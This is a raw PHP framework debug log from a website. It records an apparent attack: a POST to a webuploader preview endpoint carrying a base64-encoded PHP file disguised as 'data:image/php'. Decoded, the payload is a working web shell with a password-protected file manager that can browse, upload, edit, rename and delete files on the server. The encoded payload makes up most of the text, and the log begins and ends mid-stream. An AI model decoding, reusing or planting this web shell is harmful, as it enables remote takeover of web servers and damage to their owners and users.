yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'iscwo_kaifu' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:34:04+08:00 ] 116.213.36.234 POST www.51tianwei.com/viagraedit/webuploader/0.1.15/server/preview.php [运行时间:0.002591s] [吞吐率:385.97req/s] [内存消耗:196.78kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'viagraedit', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRw